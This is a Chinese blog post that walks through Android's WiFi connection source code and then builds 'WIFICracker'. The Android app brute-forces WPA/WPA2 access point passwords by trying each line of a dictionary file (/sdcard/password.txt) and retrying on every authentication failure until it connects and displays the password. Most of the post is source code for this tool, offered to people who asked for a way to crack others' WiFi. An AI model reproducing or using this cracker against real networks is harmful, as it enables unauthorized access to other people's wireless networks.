最近,在好幾個安卓手機群里面都看到有朋友尋求WIFI密碼破解工具,在網上經過一番搜索后發現居然沒有這樣的軟件,這讓我感到很奇怪,難道這樣的功能實現起來很難?思索再三,決定探個究竟。
安卓WIFI原理淺析
首先看SDK中查看WIFI操作的相關類。WIFI的支持是在android.net.wifi包中提供的。里面有WifiManager、WifiInfo、WifiConfiguration與ScanResult等幾個常用到的類,WIFI的管理通過WifiManager暴露出來的方法來操作,仔細一看還真讓人郁悶,這個類沒有提供連接WIFI的方法,倒是有disconnect()方法來斷開連接,不過有個reconnect()方法倒是值得注意,只是該方法SDK中卻沒有詳細的介紹。在谷歌中搜索安卓連接WIFI的代碼又測試失敗,心里頓時涼了一截!看來要想完成這個功能還得下一番功夫。
轉念一想,安卓會不會把這樣的接口隱藏了,通過AIDL的方式就可以訪問呢?為了驗證我的想法,開始在安卓源代碼的“frameworks”目錄中搜索以aidl結尾的文件,最終鎖定“IWifiManager.aidl”文件,用Editplus打開它,發現IWifiManager接口里面也沒有提供連接WIFI的方法。這條線索也斷了!
看來只能從手機WIFI的連接過程着手了。掏出手機,進入“設置”->“無線和網絡設置”->“WLAN設置”里面打開“WLAN”,這時手機會自動搜索附近的WIFI熱點,點擊任一個加密的熱點會彈出密碼輸入框,如圖1所示:
圖 1
輸入任意長度大於或等於8位的密碼后點擊連接按鈕,此時手機就會去連接該熱點,如果驗證失敗就會提示“密碼錯誤,請重新輸入正確的密碼並且再試一次”,如圖2所示:
圖 2
如果此時更換密碼后再試一次仍然失敗的話,手機就不會再訪問該熱點並將該WLAN網絡設為禁用。既然在手機設置里可以連接WIFI,那么說明設置里面就有連接WIFI的代碼存在。
手機設置這一塊是做為安卓手機的一個軟件包提供的,它的代碼位於安卓源碼的“packages\apps\Settings”目錄中,為了弄清楚操作流程,我決定到源碼中查看相關代碼。首先根據文件名判斷打開“packages\apps\Settings\src\com\android\settings\wifi\WifiSettings.java”文件,可以看到WifiSettings類繼承自SettingsPreferenceFragment,SettingsPreferenceFragment類使用一系列的PreferenceScreen作為顯示的列表項,現在很多軟件都用它來作為自身的設置頁面,不僅布局更簡單,而且也很方便。
找到WifiSettings的構造函數代碼如下:
public WifiSettings() { mFilter = new IntentFilter(); mFilter.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION); mFilter.addAction(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION); mFilter.addAction(WifiManager.NETWORK_IDS_CHANGED_ACTION); mFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION); mFilter.addAction(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION); mFilter.addAction(WifiManager.LINK_CONFIGURATION_CHANGED_ACTION); mFilter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION); mFilter.addAction(WifiManager.RSSI_CHANGED_ACTION); mFilter.addAction(WifiManager.ERROR_ACTION); mReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { handleEvent(context, intent); } }; mScanner = new Scanner(); }
這段代碼注冊了一個廣播接收者,接收一系列的廣播事件,WIFI_STATE_CHANGED_ACTION事件當WIFI功能開啟或關閉時會收到,SCAN_RESULTS_AVAILABLE_ACTION事件當手機掃描到有可用的WIFI連接時會收到,SUPPLICANT_STATE_CHANGED_ACTION事件當連接請求狀態發生改變時會收到,NETWORK_STATE_CHANGED_ACTION事件當網絡狀態發生變化時會收到,對於其它的事件我們不用去關心,廣播接收者中調用handleEvent()方法對所有的事件進行判斷並處理,事件處理代碼如下:
private void handleEvent(Context context, Intent intent) { String action = intent.getAction(); if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) { updateWifiState(intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE, WifiManager.WIFI_STATE_UNKNOWN)); } else if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action) || WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION.equals(action) || WifiManager.LINK_CONFIGURATION_CHANGED_ACTION.equals(action)) { updateAccessPoints(); } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) { if (!mConnected.get()) { updateConnectionState(WifiInfo.getDetailedStateOf((SupplicantState) intent.getParcelableExtra(WifiManager.EXTRA_NEW_STATE))); } if (mInXlSetupWizard) { ((WifiSettingsForSetupWizardXL)getActivity()).onSupplicantStateChanged(intent); } } else if (WifiManager.NETWORK_STATE_CHANGED_ACTION.equals(action)) { NetworkInfo info = (NetworkInfo) intent.getParcelableExtra( WifiManager.EXTRA_NETWORK_INFO); mConnected.set(info.isConnected()); changeNextButtonState(info.isConnected()); updateAccessPoints(); updateConnectionState(info.getDetailedState()); } ..... }
代碼中分別調用updateWifiState()、updateConnectionState()、updateAccessPoints()等方法進行更新操作,同樣憑感覺查看updateAccessPoints()方法,代碼如下:
private void updateAccessPoints() { final int wifiState = mWifiManager.getWifiState(); switch (wifiState) { case WifiManager.WIFI_STATE_ENABLED: // AccessPoints are automatically sorted with TreeSet. final Collection<AccessPoint> accessPoints = constructAccessPoints(); getPreferenceScreen().removeAll(); if (mInXlSetupWizard) { ((WifiSettingsForSetupWizardXL)getActivity()).onAccessPointsUpdated( getPreferenceScreen(), accessPoints); } else { for (AccessPoint accessPoint : accessPoints) { getPreferenceScreen().addPreference(accessPoint); } } break; ..... }
成功開啟WIFI,即getWifiState()返回為WIFI_STATE_ENABLED時首先會調用constructAccessPoints(),在這個方法中調用mWifiManager.getConfiguredNetworks()與mWifiManager.getScanResults()來分別獲取已保存與可用的WIFI熱點網絡,接着判斷mInXlSetupWizard並調用onAccessPointsUpdated()或addPreference(accessPoint),這兩者的操作都是往頁面添加顯示搜索到的WIFI熱點網絡,區別只是調用者是不是大屏手機或平板電腦(mInXlSetupWizard意思為是否為大屏幕的設置向導,這個結論由長時間分析所得!*_*,XL=XLarge)。AccessPoints 的構造函數有三個,代碼如下:
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的兩個構造函數分別針對調用mWifiManager.getConfiguredNetworks()與mWifiManager.getScanResults()得來的結果調用loadConfig(WifiConfiguration config)與loadResult(ScanResult result),經過這一步后,AccessPoints 的成員變量也初始化完了,然后調用refresh()方法進行刷新顯示操作,代碼我就不帖了,主要就是設置顯示SSID,SSID的加密方式,信號強度等。顯示工作做完后,我們的重點應用轉向WIFI熱點網絡點擊事件的處理。點擊事件的處理同樣在WifiSettings.java文件中,代碼如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
這段代碼很簡單,如果WIFI沒有加密,直接調用mSelectedAccessPoint.generateOpenNetworkConfig()生成一個不加密的WifiConfiguration,代碼如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
代碼首先new了一個WifiConfiguration賦值給mConfig,然后設置allowedKeyManagement為KeyMgmt.NONE表示不使用加密連接,這個工作做完成后就調用了mWifiManager的connectNetwork()方法進行連接,看這個方法的父親可以發現是WifiManager,居然是WifiManager,可這個方法卻沒有導出!!!
繼續分析,如果是加密的WIFI,就調用showConfigUi()方法來顯示輸入密碼框,對於大屏手機,即mInXlSetupWizard為真時,調用了WifiSettingsForSetupWizardXL類的showConfigUi()方法,如果為假就直接調用showDialog(accessPoint, edit)顯示對話框,代碼如下:
private void showDialog(AccessPoint accessPoint, boolean edit) { if (mDialog != null) { removeDialog(WIFI_DIALOG_ID); mDialog = null; } // Save the access point and edit mode mDlgAccessPoint = accessPoint; mDlgEdit = edit; showDialog(WIFI_DIALOG_ID); } @Override public Dialog onCreateDialog(int dialogId) { AccessPoint ap = mDlgAccessPoint; // For manual launch if (ap == null) { // For re-launch from saved state if (mAccessPointSavedState != null) { ap = new AccessPoint(getActivity(), mAccessPointSavedState); // For repeated orientation changes mDlgAccessPoint = ap; } } // If it's still null, fine, it's for Add Network mSelectedAccessPoint = ap; mDialog = new WifiDialog(getActivity(), this, ap, mDlgEdit); return mDialog; }
這段代碼保存accessPoint后就調用showDialog(WIFI_DIALOG_ID)了,在onCreateDialog()初始化方法中判斷mDlgAccessPoint是否為null,如果為null就調用AccessPoint的第三個構造方法從保存的狀態中生成一個AccessPoint,最后new WifiDialog(getActivity(), this, ap, mDlgEdit)生成一個WifiDialog,這個WifiDialog繼承自AlertDialog,也就是它,最終將對話框展現在我們面前,WifiDialog構造函數的第二個參數為DialogInterface.OnClickListener的監聽器,設置為this表示類本身對按鈕點擊事件進行響應,接下來找找事件響應代碼,馬上就到關鍵啰!
public void onClick(DialogInterface dialogInterface, int button) { if (mInXlSetupWizard) { if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) { forget(); } else if (button == WifiDialog.BUTTON_SUBMIT) { ((WifiSettingsForSetupWizardXL)getActivity()).onConnectButtonPressed(); } } else { if (button == WifiDialog.BUTTON_FORGET && mSelectedAccessPoint != null) { forget(); } else if (button == WifiDialog.BUTTON_SUBMIT) { submit(mDialog.getController()); } } }
代碼判斷彈出的對話框是WIFI熱點拋棄還是WIFI連接,並做出相應的處理,這里看看submit()方法的代碼:
void submit(WifiConfigController configController) { int networkSetup = configController.chosenNetworkSetupMethod(); switch(networkSetup) { case WifiConfigController.WPS_PBC: case WifiConfigController.WPS_DISPLAY: case WifiConfigController.WPS_KEYPAD: mWifiManager.startWps(configController.getWpsConfig()); break; case WifiConfigController.MANUAL: final WifiConfiguration config = configController.getConfig(); if (config == null) { if (mSelectedAccessPoint != null && !requireKeyStore(mSelectedAccessPoint.getConfig()) && mSelectedAccessPoint.networkId != INVALID_NETWORK_ID) { mWifiManager.connectNetwork(mSelectedAccessPoint.networkId); } } else if (config.networkId != INVALID_NETWORK_ID) { if (mSelectedAccessPoint != null) { saveNetwork(config); } } else { if (configController.isEdit() || requireKeyStore(config)) { saveNetwork(config); } else { mWifiManager.connectNetwork(config); } } break; } if (mWifiManager.isWifiEnabled()) { mScanner.resume(); } updateAccessPoints(); }
關鍵代碼終於找到了,那個叫激動啊T_T!按鈕事件首先對WIFI網絡加密類型進行判斷,是WPS的就調用mWifiManager.startWps(configController.getWpsConfig()),是手動設置就調用被點擊AccessPoint 項的getConfig()方法讀取WifiConfiguration信息,如果不為null調用connectNetwork(mSelectedAccessPoint.networkId)連接網絡,為null說明可能是AccessPoint 調用第二個構造函數使用ScanResult生成的,則調用saveNetwork(config),看看saveNetwork()的代碼:
private void saveNetwork(WifiConfiguration config) { if (mInXlSetupWizard) { ((WifiSettingsForSetupWizardXL)getActivity()).onSaveNetwork(config); } else { mWifiManager.saveNetwork(config); } }
調用的mWifiManager.saveNetwork(config)方法,這個方法同樣在SDK中沒有導出,到源碼中找找,最終在源代碼的“frameworks\base\wifi\java\android\net\wifi\WifiManager.java”文件中找到是通過向自身發送消息的方式調用了WifiStateMachine.java->WifiConfigStore.java->saveNetwork()方法,最終保存WIFI網絡后發送了一個已配置網絡變更廣播,這里由於篇幅就不再展開了。
分析到這里,大概了解了WIFI連接的整個流程,程序無論是否為加密的WIFI網絡,最終調用WifiManager的connectNetwork()方法來連接網絡。而這個方法在SDK中卻沒有導出,我們該如何解決這個問題,一杯茶后,馬上回來......
connectNetwork()方法
我始終不明白安卓SDK中為什么不開放connectNetwork這個接口,但現在需要用到了,也只能接着往下面分析,WifiManager是Framework層的,接下來的探索移步到安卓源碼“frameworks\base\wifi\java\android\net\wifi”目錄中去,在WifiManager.java中搜索“connectNetwork”,代碼如下:
/** * Connect to a network with the given configuration. The network also * gets added to the supplicant configuration. * * For a new network, this function is used instead of a * sequence of addNetwork(), enableNetwork(), saveConfiguration() and * reconnect() * * @param config the set of variables that describe the configuration, * contained in a {@link WifiConfiguration} object. * @hide */ public void connectNetwork(WifiConfiguration config) { if (config == null) { return; } mAsyncChannel.sendMessage(CMD_CONNECT_NETWORK, config); }
注意看注釋部分!“對於一個新的網絡,這個函數相當於陸續調用了addNetwork(), enableNetwork(), saveConfiguration() 與 reconnect()”。看到這句話,心里可美了,因為這四個函數在SDK中都有導出,在代碼中分別調用它們不就達到調用connectNetwork的目的了么?
繼續分析代碼,如果config不為空,connectNetwork就通過mAsyncChannel發送了一條“CMD_CONNECT_NETWORK”的消息,mAsyncChannel的聲明如下:
/* For communication with WifiService */ private AsyncChannel mAsyncChannel = new AsyncChannel();
從注釋上理解,這個東西是用來與WifiService 通信的。WifiService 屬於Framework底層的服務,位於源碼“\frameworks\base\services\java\com\android\server”目錄,找到代碼如下:
@Override public void handleMessage(Message msg) { switch (msg.what) { ...... case WifiManager.CMD_CONNECT_NETWORK: { if (msg.obj != null) { mWifiStateMachine.connectNetwork((WifiConfiguration)msg.obj); } else { mWifiStateMachine.connectNetwork(msg.arg1); } break; } ...... } }
在handleMessage()方法中有很多消息處理,這里由於篇幅只列出了CMD_CONNECT_NETWORK,可以看出這WifiService 就是個“托”,它只是將“病人”重新轉給mWifiStateMachine處理,mWifiStateMachine為WifiStateMachine類,代碼和WifiManager在同一目錄,找到connectNetwork代碼如下:
public void connectNetwork(int netId) { sendMessage(obtainMessage(CMD_CONNECT_NETWORK, netId, 0)); } public void connectNetwork(WifiConfiguration wifiConfig) { /* arg1 is used to indicate netId, force a netId value of * WifiConfiguration.INVALID_NETWORK_ID when we are passing * a configuration since the default value of 0 is a valid netId */ sendMessage(obtainMessage(CMD_CONNECT_NETWORK, WifiConfiguration.INVALID_NETWORK_ID, 0, wifiConfig)); }
真有才了!還在發消息,只不過是給自已發,我真懷疑這寫WIFI模塊的是不是90后,這一層層繞的不頭暈?找到處理代碼如下:
@Override public boolean processMessage(Message message) { ...... case CMD_CONNECT_NETWORK: int netId = message.arg1; WifiConfiguration config = (WifiConfiguration) message.obj; /* We connect to a specific network by issuing a select * to the WifiConfigStore. This enables the network, * while disabling all other networks in the supplicant. * Disabling a connected network will cause a disconnection * from the network. A reconnectCommand() will then initiate * a connection to the enabled network. */ if (config != null) { netId = WifiConfigStore.selectNetwork(config); } else { WifiConfigStore.selectNetwork(netId); } /* The state tracker handles enabling networks upon completion/failure */ mSupplicantStateTracker.sendMessage(CMD_CONNECT_NETWORK); WifiNative.reconnectCommand(); mLastExplicitNetworkId = netId; mLastNetworkChoiceTime = SystemClock.elapsedRealtime(); mNextWifiActionExplicit = true; if (DBG) log("Setting wifi connect explicit for netid " + netId); /* Expect a disconnection from the old connection */ transitionTo(mDisconnectingState); break; ...... }
注釋中說:通過WifiConfigStore的selectNetwork()方法連接一個特定的網絡,當禁用supplicant中其它所有網絡時,會連接網絡,而禁用一個已經連接的網絡,將會引發disconnection操作,reconnectCommand()方法會初始化並連接已啟用的網絡。
selectNetwork()過后,mSupplicantStateTracker發送了一條CMD_CONNECT_NETWORK消息,它其實只做了一件事,就是將“mNetworksDisabledDuringConnect ”設為true。最后WifiNative.reconnectCommand()對網絡進行重新連接,至此,WIFI的連接過程就完畢了,下面看看selectNetwork()代碼:
static int selectNetwork(WifiConfiguration config) { if (config != null) { NetworkUpdateResult result = addOrUpdateNetworkNative(config); int netId = result.getNetworkId(); if (netId != INVALID_NETWORK_ID) { selectNetwork(netId); } else { loge("Failed to update network " + config); } return netId; } return INVALID_NETWORK_ID; } static void selectNetwork(int netId) { // Reset the priority of each network at start or if it goes too high. if (sLastPriority == -1 || sLastPriority > 1000000) { synchronized (sConfiguredNetworks) { for(WifiConfiguration config : sConfiguredNetworks.values()) { if (config.networkId != INVALID_NETWORK_ID) { config.priority = 0; addOrUpdateNetworkNative(config); } } } sLastPriority = 0; } // Set to the highest priority and save the configuration. WifiConfiguration config = new WifiConfiguration(); config.networkId = netId; config.priority = ++sLastPriority; addOrUpdateNetworkNative(config); WifiNative.saveConfigCommand(); enableNetworkWithoutBroadcast(netId, true); }
代碼都在這里了,我再也不帖了,帖了太多了,這段代碼流程為addOrUpdateNetworkNative()先保存一個,然后對已保存的網絡優先級降下來,這是為了讓新網絡擁有更高的優先連接權,接着執行saveConfigCommand()將配置信息保存,這里的保存操作在底層是將網絡信息保存到了“/data/misc/wifi/wpa_supplicant.conf”文件中,最后enableNetworkWithoutBroadcast(netId, true)啟用本網絡並禁用其它網絡。
小結一下connectNetwork的執行步驟為“WifiConfigStore.selectNetwork()”->“addOrUpdateNetworkNative()”->“其它網絡降級並設置自已最高優先級”->“WifiNative.saveConfigCommand()”->“enableNetworkWithoutBroadcast(netId, true);”->“WifiNative.reconnectCommand()”->“通過廣播判斷連接成功或失敗”。
既然connectNetwork的執行步驟現在清楚了,那我們自己實現它便可以完成WIFI的手動連接了,
代碼編寫
WIFI密碼破解器的編寫有三種思路:
第一種就是上面說的自己動手實現connectNetwork,按照SDK中常規步驟連接WIFI,本文采用此方法。
第二種就是參看WIFI的連接代碼,通過NDK方式自己實現WIFI底層操作的調用,這種方法本文不介紹。
第三種方法同樣通過NDK方式,但優雅些。在上面的分析中,我沒有提到安卓WIFI的核心wpa_supplicant,它作為安卓WIFI的一個組件存在,為安卓系統提供了WPA、WPA2等加密網絡的連接支持。在手機系統的“/system/bin”目錄中,有“wpa_supplicant”與“wpa_cli”兩個文件,前者是一個服務,客戶端通過它控制手機無線網卡,如發送AP掃描指令、提取掃描結果、關聯AP操作等。后者是一個命令行工具,用來與wpa_supplicant通信,在正常啟動wpa_supplicant服務后執行下面的指令便可以連接上WIFI網絡:
wpa_cli -iwlan0 add_network // 增加一個網絡,會返回一個網絡號,假設為1
wpa_cli -iwlan0 set_network 1 ssid '"……"' //ssid為要連接的網絡名
wpa_cli -iwlan0 set_network 1 psk '"……"' //psk為連接的密碼
wpa_cli -iwlan0 enable_network 1 //以下三條與上面connectNetwork分析功能一致
wpa_cli -iwlan0 select_network 1
wpa_cli -iwlan0 save_config
但實際上,通過命令行啟動wpa_supplicant卻不能成功,因為需要先加載WIFI驅動,然后才能啟用wpa_supplicant服務。在手機WLAN設置中啟用WIFI后,會調用WifiManager.setWifiEnabled,這個方法會依次調用WifiNative.loadDriver()->WifiNative.startSupplicant()。在加載成功后會設置一個延遲時間,到延遲時間后就會調用WifiNative.stopSupplicant()->WifiNative.unloadDriver()停止wpa_supplicant服務並卸載驅動,這是為了給設備省電,因為WIFI驅動長時間加載可是很耗電的。
命令行本身無法直接加載驅動,導致了wpa_supplicant無法成功開啟,這也是無法通過命令行直接連接WIFI的原因,但並不是沒有突破方法!可以寫代碼並使用NDK方式調用WifiNative.loadDriver(),接着啟用wpa_supplicant服務,服務加載成功后執行上面的wpa_cli命令行,就可以輕松連接WIFI了。可以直接寫一個原生的bin,實現驅動加載及WIFI連接,然后在安卓代碼中直接以創建進程的方式啟動或者在shell中執行等方式運行。這些方法都具有可行性,本文不做深入探討,只采用文中介紹的第一種方法來完成程序的功能。
目前WIFI加密種類常用的有WEP、WPA、WPA2、EAP等,WifiManager將WEP與EAP做了內部消化,WPA與WPA2則使用wpa_supplicant進行管理,目前,由於WEP的安全性問題,使用的人已經不多了,一般用戶采用WPA與WPA2方式接入較多,在今天的程序中,也只處理了這兩種加密的情況。
按照上面的分析思路,代碼實現應該很明了了,但實際編碼過程中還是存在着諸多問題,首先是停止掃描的問題,在WifiManager中沒有提供stopScan()方法,而是在其中通過一個內部繼承自Handler的SCanner來管理,目前來說,我沒想到解決方案,在開始破解跑WIFI密碼的過程中,WIFI掃描線程一直還是開着,我只是通過一個cracking的布爾值判斷來阻止界面的更新,這個問題可能在SDK層無法得到解決。第二個問題是一些類的枚舉值,如SupplicantState.AUTHENTICATING、KeyMgmt.WPA2_PSK等在SDK中都是沒導出的,要想使用就需要自己添加。談到WPA2_PSK,很有必要講一下WifiConfiguration類的構造,連接WIFI前需要先構造這個類,然后通過addNetwork()添加網絡操作后才能進行下一步的連接,在網上搜索到的連接代碼如下:
...... mConfig = new WifiConfiguration(); mConfig.status = WifiConfiguration.Status.ENABLED; mConfig.hiddenSSID = false; mConfig.SSID = "\"ssid\""; mConfig.preSharedKey = "\"password\""; mConfig.allowedAuthAlgorithms.set(AuthAlgorithm.OPEN); mConfig.allowedKeyManagement.set(KeyMgmt.WPA_PSK); mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN); mConfig.allowedPairwiseCiphers.set(PairwiseCipher.CCMP); mConfig.allowedPairwiseCiphers.set(PairwiseCipher.TKIP); mConfig.allowedGroupCiphers.set(GroupCipher.CCMP); mConfig.allowedGroupCiphers.set(GroupCipher.TKIP); Int netid = wm.addNetwork(mConfig); wm.enableNetwork(netid, false); ......
在測試初期我是直接搬這代碼來用的,實際上這代碼是廢的,根本連接不上任何的WIFI,狀態代碼顯示一直停留在關聯AP中,而且這樣設置WifiConfiguration后在手機設置中也無法開啟使用WIFI了,當時我也很納悶,你都不能用的代碼,怎么還在網上好多篇帖子里亂竄?后來跟蹤WIFI連接的過程后,整理出的代碼如下:
...... if (security == SECURITY_PSK) { mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); if (pskType == PskType.WPA) { mConfig.allowedProtocols.set(WifiConfiguration.Protocol.WPA); } else if (pskType == PskType.WPA2) { mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN); } mConfig.priority = 1; mConfig.status = WifiConfiguration.Status.ENABLED; mConfig.SSID = "\"ssid\""; mConfig.preSharedKey = "\"password\""; Int netid = wm.addNetwork(mConfig); wm.enableNetwork(netid, false); ...... }
代碼比上面的要簡潔些,這不該有的東西啊你堅決不能有!
啟動Eclipse新建一個WIFICracker的工程,OnCreate()方法代碼如下:
public void onCreate(Bundle savedInstanceState) { public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); try { passwordGetter = new PasswordGetter("/sdcard/password.txt"); } catch (FileNotFoundException e) { showMessageDialog("程序初始化失敗", "請將密碼字典放到SD卡目錄並更名為password.txt", "確定", false, new OnClickListener() { public void onClick(DialogInterface dialog, int which) { WIFICracker.this.finish(); } }); } wm = (WifiManager) getSystemService(WIFI_SERVICE); if(!wm.isWifiEnabled()) wm.setWifiEnabled(true); //開啟WIFI deleteSavedConfigs(); cracking = false; netid = -1; wifiReceiver = new WifiReceiver(); intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION); intentFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION); registerReceiver(wifiReceiver, intentFilter); wm.startScan(); //開始掃描網絡 }
deleteSavedConfigs()方法將手機已存的Config中全部刪除,原因是因為如果已經保存了正確的WIFI連接密碼,程序運行會無法工作,具體代碼參看附件。然后構造一個PasswordGetter對象,它用來讀取"/sdcard/password.txt"文件每一行作為WIFI的探測密碼,類的完整代碼如下:
public class PasswordGetter { private String password; private File file; private FileReader reader; private BufferedReader br; public PasswordGetter(String passwordFile){ password = null; try { //File file = new File("/sdcard/password.txt"); file = new File(passwordFile); if (!file.exists()) throw new FileNotFoundException(); reader = new FileReader(file); br = new BufferedReader(reader); } catch (FileNotFoundException e) { e.printStackTrace(); } } public void reSet(){ try { br.close(); reader.close(); reader = new FileReader(file); br = new BufferedReader(reader); } catch (IOException e) { e.printStackTrace(); password = null; } } public String getPassword(){ try { password = br.readLine(); } catch (IOException e) { e.printStackTrace(); password = null; } return password; } public void Clean(){ try { br.close(); reader.close(); } catch (IOException e) { e.printStackTrace(); } } }
這個類很簡單,具體代碼就不分析了,為了方便配置與加載WifiConfiguration,我將安卓源碼中的AccessPoint類進行了部分改裝后用到程序中,這樣可以節省很多時間。
程序的核心在於對WIFI狀態的控制與連接,前者我使用了廣播接收者進行監聽,在收到廣播后進行相應處理,代碼如下:
class WifiReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action)) { if (results == null) //只初始化一次 results = wm.getScanResults(); try { setTitle("WIFI連接點個數為:" + String.valueOf(getPreferenceScreen().getPreferenceCount())); } catch (Exception e) { e.printStackTrace(); } if( cracking == false) //破解WIFI密碼時不更新界面 update(); } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) { WifiInfo info = wm.getConnectionInfo(); SupplicantState state = info.getSupplicantState(); String str = null; if (state == SupplicantState.ASSOCIATED){ str = "關聯AP完成"; } else if(state.toString().equals("AUTHENTICATING")){ str = "正在驗證"; } else if (state == SupplicantState.ASSOCIATING){ str = "正在關聯AP..."; } else if (state == SupplicantState.COMPLETED){ if(cracking) { cracking = false; showMessageDialog("恭喜您,密碼跑出來了!", "密碼為:" + AccessPoint.removeDoubleQuotes(password), "確定", false, new OnClickListener(){ public void onClick(DialogInterface dialog, int which) { wm.disconnect(); enablePreferenceScreens(true); } }); cracking = false; return; } else str = "已連接"; } else if (state == SupplicantState.DISCONNECTED){ str = "已斷開"; } else if (state == SupplicantState.DORMANT){ str = "暫停活動"; } else if (state == SupplicantState.FOUR_WAY_HANDSHAKE){ str = "四路握手中..."; } else if (state == SupplicantState.GROUP_HANDSHAKE){ str = "GROUP_HANDSHAKE"; } else if (state == SupplicantState.INACTIVE){ str = "休眠中..."; if (cracking) connectNetwork(); //連接網絡 } else if (state == SupplicantState.INVALID){ str = "無效"; } else if (state == SupplicantState.SCANNING){ str = "掃描中..."; } else if (state == SupplicantState.UNINITIALIZED){ str = "未初始化"; } setTitle(str); final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1); if (errorCode == WifiManager.ERROR_AUTHENTICATING) { Log.d(TAG, "WIFI驗證失敗!"); setTitle("WIFI驗證失敗!"); if( cracking == true) connectNetwork(); } } } }
這些代碼的實現一部分源於查看SDK后的測試,另一部分源於跟蹤安卓源碼時的摘錄。如這段:
final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1); if (errorCode == WifiManager.ERROR_AUTHENTICATING) { Log.d(TAG, "WIFI驗證失敗!"); setTitle("WIFI驗證失敗!"); if( cracking == true) connectNetwork(); }
不查看安卓源碼,你根本不會知道怎么檢測WifiManager.ERROR_AUTHENTICATING,這讓我在寫測試代碼時也着實苦惱了一段時間。好了,代碼就分析到這里,回想一下,網上為什么沒有這樣的軟件也知道原因了,因為SDK中沒有提供相應的WIFI連接接口,要想實現就必須要深入研究這塊,因此,太多人覺得過於繁瑣也就沒弄了。
最后,測試了一下效果,一分鍾大概能跑20個密碼,上個跑密碼截圖:
圖3